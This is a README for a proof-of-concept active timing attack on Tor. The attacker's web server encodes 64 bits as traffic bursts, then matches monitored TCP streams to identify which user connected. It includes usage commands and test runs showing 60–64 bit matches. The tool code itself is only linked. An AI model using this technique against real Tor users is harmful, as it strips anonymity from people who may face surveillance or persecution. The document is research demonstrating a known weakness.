README

   1 ===== End-to-end correlation for Tor connections using an active timing attack =====
   2
   3 This is a very simple implementation of an active timing attack on Tor. Please note that
   4 the Tor developers are aware of issues like this –
   5 https://blog.torproject.org/blog/one-cell-enough states:
   6
   7 > The Tor design doesn't try to protect against an attacker who can see
   8 > or measure both traffic going into the Tor network and also traffic
   9 > coming out of the Tor network.
  10 > [...]
  11 > The way we generally explain it is that Tor tries to protect against
  12 > traffic analysis, where an attacker tries to learn whom to investigate,
  13 > but Tor can't protect against traffic confirmation (also known as
  14 > end-to-end correlation), where an attacker tries to confirm a
  15 > hypothesis by monitoring the right locations in the network and then
  16 > doing the math.
  17
  18 That page also links to this really scary paper:
  19 <http://petworkshop.org/2007/papers/PET2007_preproc_Sampled_traffic.pdf>
  20
  21 So, this is a known problem, but I wanted to see how easy it really is to do this,
  22 and I wanted to try it myself, so I built a PoC.
  23
  24 The requirements are:
  25  - The user points his browser to the attacker's webserver and stays on that server
  26    long enough (a bit over 4 minutes in my implementation)
  27  - The attacker controls the webserver or the exit node (or something between them)
  28    (in my implementation, he controls the webserver)
  29  - The attacker can measure the internet traffic of all possible users
  30
  31 In my implementation, the attacking server can encode 64 bits into a pattern
  32 of data bursts – simplified, a zero becomes "first data, then nothing" and a one
  33 becomes "first nothing, then data". The server then sends those data bursts back to
  34 the client.
  35 The attacker measures the traffic of all possible users and decodes every TCP data
  36 stream back into bits using the data burst encoding. Then, he scans all the decoded
  37 data for the bits he sent to the user to find out which user connected to his server
  38 through Tor.
  39 This is really just a simple one-day-project implementation without any sophisticated
  40 stuff that would probably improve the accuracy and speed a lot.
  41
  42
  43
  44 ===== USAGE =====
  45 My proof-of-concept code is at <http://git.thejh.net/?p=detour.git;a=tree>.
  46 It needs libpcap and works on Linux. It probably won't work on Windows.
  47
  48 Compile with "./compile.sh".
  49 On the server, run "./pulser". This will open an HTTP server on port 4422.
  50 On the monitoring device (just run it on your computer if you just want to
  51 test it for yourself), run "./pulserecord eth0" as root (replace eth0 with the
  52 right interface if it's wrong).
  53 Generate a new bit pattern with "./random_bits" (or anything else).
  54 In the victim browser that uses Tor, navigate to "http://<your server>/<random bits>".
  55 After the page has loaded in the victim browser, run
  56 "./pulsehunter <random bits> | sort -n | tail"
  57 (with the same bits you used in the browser) on the monitoring device. The number on
  58 the left side is how many bits matched, the TCP connection data (IPs and ports) is on
  59 the right side.
  60
  61
  62
  63 ===== TEST RESULTS =====
  64 So, with my PoC ready, I tried it on myself in three different scenarios:
  65
  66  - no other traffic over Tor
  67  - reading news articles over Tor
  68  - watching Youtube videos over Tor (with switching to another video after the first
  69    one had buffered completely)
  70
  71 Here are the results.
  72
  73
  74 --- DOING NOTHING ---
  75 $ ./random_bits
  76 1010101010110011101101110010110010011101000000000100101000100101
  77 $ sudo rm out/*
  78 $ sudo ./pulserecord eth0
  79 Device: eth0
  80 ^C$ ./pulsehunter 1010101010110011101101110010110010011101000000000100101000100101 | sort -n | tail
  81 [...]
  82 64      ***.***.***.***:59254 -> ***.***.***.***:443
  83 64      ***.***.***.***:443 -> ***.***.***.***:59254
  84
  85 => All 64 bits correct in both directions – that's a really solid hit.
  86
  87
  88
  89 --- READING NEWS ARTICLES ---
  90 $ ./random_bits
  91 1100001100001111110101110000101000111110001111010111110011011111
  92 $ sudo rm out/*
  93 $ sudo ./pulserecord eth0
  94 Device: eth0
  95 ^C$ ./pulsehunter 1100001100001111110101110000101000111110001111010111110011011111 | sort -n | tail
  96 [...]
  97 60      ***.***.***.***:443 -> ***.***.***.***:59254
  98 61      ***.***.***.***:59254 -> ***.***.***.***:443
  99
 100 60 bits for incoming Tor, 61 bits for outgoing Tor. How solid is that hit? Let's ask Wolfram Alpha:
 101
 102 http://www.wolframalpha.com/input/?i=p%3D0.5+n%3D64&a=*MC.p%3D0!.5+n%3D64-_*Formula.dflt-&a=FSelect_**BinomialProbabilities-.dflt-&f3=60&f=BinomialProbabilities.x_60&a=*FVarOpt.1-_***BinomialProbabilities.x--.***BinomialProbabilities.l-.*BinomialProbabilities.r---.*--
 103
 104 probability for 61 or more bits to appear at random: 2.331*10^-15
 105 Wolfram Alpha says there are roughly 1 200 000 000 personal computers on earth (as of 2011)
 106 1200000000*100*2.331*10^-15 = 0.00028
 107
 108 => Even if you're monitoring the internet use of every personal PC on earth and every one of those PCs
 109    is communicating over 100 connections at the time of interest, you're still usually not going to get
 110    any false positives. This is a solid hit.
 111
 112
 113
 114 --- YOUTUBE ---
 115 I watched youtube and switched to a new video when the first one finished buffering.
 116
 117 $ ./random_bits
 118 0101100100001100011011001001101101110000011110000011100011110000
 119 $ sudo rm out/*
 120 $ sudo ./pulserecord eth0
 121 Device: eth0
 122 ^C$ ./pulsehunter 0101100100001100011011001001101101110000011110000011100011110000 | sort -n | tail
 123 [...]
 124 41      ***.***.***.***:40307 -> ***.***.***.***:443
 125 43      ***.***.***.***:443 -> ***.***.***.***:40307
 126
 127 43 is incoming Tor, 41 is outgoing Tor
 128
 129 http://www.wolframalpha.com/input/?i=p%3D0.5+n%3D64&a=*MC.p%3D0!.5+n%3D64-_*Formula.dflt-&a=FSelect_**BinomialProbabilities-.dflt-&f3=42&f=BinomialProbabilities.x_42&a=*FVarOpt.1-_***BinomialProbabilities.x--.***BinomialProbabilities.l-.*BinomialProbabilities.r---.*--
 130
 131 0.4073% probability for 43 or more bits to appear at random
 132
 133 => Significant, but if you look at >100 connections, you might well get some false positives.